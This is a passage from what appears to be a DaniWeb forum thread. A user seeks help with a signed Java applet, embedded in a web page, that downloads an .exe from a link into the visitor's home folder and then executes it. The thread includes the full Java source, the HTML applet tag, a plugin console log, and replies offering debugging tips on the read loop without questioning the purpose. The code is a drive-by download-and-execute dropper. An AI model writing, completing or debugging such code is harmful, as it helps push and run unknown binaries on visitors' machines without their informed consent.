So i came across this issue that I can run my applet fine and it creates my file (exe) until i attempt to do so in a browser (firefox, IE, etc). Its signed and asks for permission and gives no erros but it doesnt write to the file I want it to. Heres The codes please help! I don't know whats wrong. The Applet was supposed to grab a direct link .exe and download it to a public folder (home directory) and then execute it after being written.

Console:

Java Plug-in 10.4.1.255
Using JRE version 1.7.0_04-b20 Java HotSpot(TM) Client VM

User home directory = C:\Users\Jimmy

c: clear console window
f: finalize objects on finalization queue
g: garbage collect
h: display this help message
l: dump classloader list
m: print memory usage
o: trigger logging
q: hide console
r: reload policy configuration
s: dump system and deployment properties
t: dump thread list
v: dump thread stack
x: clear classloader cache

0-5: set trace level to <n>

security: property package.access value sun.,com.sun.xml.internal.ws.,com.sun.xml.internal.bind.,com.sun.imageio.,com.sun.org.apache.xerces.internal.utils.,com.sun.org.apache.xalan.internal.utils.
security: property package.access new value sun.,com.sun.xml.internal.ws.,com.sun.xml.internal.bind.,com.sun.imageio.,com.sun.org.apache.xerces.internal.utils.,com.sun.org.apache.xalan.internal.utils.,com.sun.javaws
security: property package.access value sun.,com.sun.xml.internal.ws.,com.sun.xml.internal.bind.,com.sun.imageio.,com.sun.org.apache.xerces.internal.utils.,com.sun.org.apache.xalan.internal.utils.,com.sun.javaws
security: property package.access new value sun.,com.sun.xml.internal.ws.,com.sun.xml.internal.bind.,com.sun.imageio.,com.sun.org.apache.xerces.internal.utils.,com.sun.org.apache.xalan.internal.utils.,com.sun.javaws,com.sun.deploy
security: property package.access value sun.,com.sun.xml.internal.ws.,com.sun.xml.internal.bind.,com.sun.imageio.,com.sun.org.apache.xerces.internal.utils.,com.sun.org.apache.xalan.internal.utils.,com.sun.javaws,com.sun.deploy
security: property package.access new value sun.,com.sun.xml.internal.ws.,com.sun.xml.internal.bind.,com.sun.imageio.,com.sun.org.apache.xerces.internal.utils.,com.sun.org.apache.xalan.internal.utils.,com.sun.javaws,com.sun.deploy,com.sun.jnlp
security: property package.definition value null
security: property package.definition new value com.sun.javaws
security: property package.definition value com.sun.javaws
security: property package.definition new value com.sun.javaws,com.sun.deploy
security: property package.definition value com.sun.javaws,com.sun.deploy
security: property package.definition new value com.sun.javaws,com.sun.deploy,com.sun.jnlp
security: property package.access value sun.,com.sun.xml.internal.ws.,com.sun.xml.internal.bind.,com.sun.imageio.,com.sun.org.apache.xerces.internal.utils.,com.sun.org.apache.xalan.internal.utils.,com.sun.javaws,com.sun.deploy,com.sun.jnlp
security: property package.access new value sun.,com.sun.xml.internal.ws.,com.sun.xml.internal.bind.,com.sun.imageio.,com.sun.org.apache.xerces.internal.utils.,com.sun.org.apache.xalan.internal.utils.,com.sun.javaws,com.sun.deploy,com.sun.jnlp,org.mozilla.jss
security: property package.definition value com.sun.javaws,com.sun.deploy,com.sun.jnlp
security: property package.definition new value com.sun.javaws,com.sun.deploy,com.sun.jnlp,org.mozilla.jss
basic: Added progress listener: sun.plugin.util.ProgressMonitorAdapter@1d2625d
basic: Plugin2ClassLoader.addURL parent called for file:/C:/Users/Jimmy/Desktop/Website%20Final/client.jar
security: Blacklist revocation check is enabled
security: Trusted libraries list check is enabled
network: Cache entry not found [url: file:/C:/Users/Jimmy/Desktop/Website%20Final/client.jar, version: null]
security: Loading Deployment certificates from C:\Users\Jimmy\AppData\LocalLow\Sun\Java\Deployment\security\trusted.certs
security: Loaded Deployment certificates from C:\Users\Jimmy\AppData\LocalLow\Sun\Java\Deployment\security\trusted.certs
security: Loading certificates from Deployment session certificate store
security: Loaded certificates from Deployment session certificate store
security: Loading certificates from Internet Explorer TrustedPublisher certificate store
security: Loaded certificates from Internet Explorer TrustedPublisher certificate store
security: Validate the certificate chain using CertPath API
security: Loading certificates from Internet Explorer ROOT certificate store
security: Loaded certificates from Internet Explorer ROOT certificate store
security: Loading Root CA certificates from C:\Program Files\Java\jre7\lib\security\cacerts
security: Loaded Root CA certificates from C:\Program Files\Java\jre7\lib\security\cacerts
security: Obtain certificate collection in Root CA certificate store
security: Obtain certificate collection in Root CA certificate store
security: Obtain certificate collection in Root CA certificate store
security: Obtain certificate collection in Root CA certificate store
security: The certificate hasnt been expired, no need to check timestamping info
security: Found jurisdiction list file
security: No need to checking trusted extension for this certificate
security: The CRL support is disabled
security: The OCSP support is disabled
security: This OCSP End Entity validation is disabled
security: Checking if certificate is in Deployment denied certificate store
security: Checking if certificate is in Deployment permanent certificate store
security: Checking if certificate is in Deployment session certificate store
security: Checking if certificate is in Internet Explorer TrustedPublisher certificate store
basic: Dialog type is not candidate for embedding
security: User has granted the priviledges to the code for this session only
security: Adding certificate in Deployment session certificate store
security: Added certificate in Deployment session certificate store
security: Saving certificates in Deployment session certificate store
security: Saved certificates in Deployment session certificate store
network: Cache entry not found [url: file:/C:/Users/Jimmy/Desktop/Website%20Final/client.jar, version: null]
security: Validate the certificate chain using CertPath API
security: The certificate hasnt been expired, no need to check timestamping info
security: Found jurisdiction list file
security: No need to checking trusted extension for this certificate
security: The CRL support is disabled
security: The OCSP support is disabled
security: This OCSP End Entity validation is disabled
security: Checking if certificate is in Deployment denied certificate store
security: Checking if certificate is in Deployment permanent certificate store
security: Checking if certificate is in Deployment session certificate store
basic: Plugin2ClassLoader.getPermissions CeilingPolicy allPerms
security: Validate the certificate chain using CertPath API
security: The certificate hasnt been expired, no need to check timestamping info
security: Found jurisdiction list file
security: No need to checking trusted extension for this certificate
security: The CRL support is disabled
security: The OCSP support is disabled
security: This OCSP End Entity validation is disabled
security: Checking if certificate is in Deployment denied certificate store
security: Checking if certificate is in Deployment permanent certificate store
security: Checking if certificate is in Deployment session certificate store
basic: Applet loaded.
basic: Applet resized and added to parent container
basic: PERF: AppletExecutionRunnable - applet.init() BEGIN ; jvmLaunch dt 660227 us, pluginInit dt 8638656 us, TotalTime: 9298883 us
basic: Applet initialized
basic: Starting applet
basic: completed perf rollup
basic: Applet made visible
basic: Applet started
basic: Told clients applet is started

HTML

<html>

    <body>

        <applet code="writeto.class" archive="client.jar" width="200" height="200"/>

    </body>

</html>

JAR FILE

import java.applet.Applet;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;

public class writeto extends Applet
{
  public static void main(String[] args)
  {
    try
    {
      long startTime = System.currentTimeMillis();
      String userHome = "user.home";
      String path = System.getProperty(userHome);
      String writeto = "\\client.exe";
      String destination = path.concat(writeto);

      URL url = new URL("MY REAL DIRECT LINK .EXE WAS HERE");
      url.openConnection();
      InputStream reader = url.openStream();

      FileOutputStream writer = new FileOutputStream(destination);
      byte[] buffer = new byte[153600];
      int totalBytesRead = 0;
      int bytesRead = 0;

      while ((bytesRead = reader.read(buffer)) > 0)
      {
        writer.write(buffer, 0, bytesRead);
        buffer = new byte[153600];
        totalBytesRead += bytesRead;
      }

      long endTime = System.currentTimeMillis();

      writer.close();
      reader.close();
      p = Runtime.getRuntime().exec(destination);
    }
    catch (MalformedURLException e)
    {
      Process p;
      e.printStackTrace();
    }
    catch (IOException e)
    {
      e.printStackTrace();
    }
  }
}

Recommended Answers

All 4 Replies

anyone have any idea? :(

You may want to look at line 29. The value returned for EOF is -1. According the the JavaDoc a value of zero will never be returned, but I have a fuzzy memory of seeing a problem where read did return zero sometimes from an input stream that was network-based. I'm probabaly mis-remembering that, but it wouldn't hurt to change the test to >=0 and see what happens.
In any case, I would add some prints to confirm how many bytes are being read/written.

so this:
while ((bytesRead = reader.read(buffer)) > 0)

to this;
while ((bytesRead = reader.read(buffer)) >= 0)

?

Yes, it probably won't help but you never know.... it costs nothing to try it. Printing the bytes read/written will help diagnose this.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.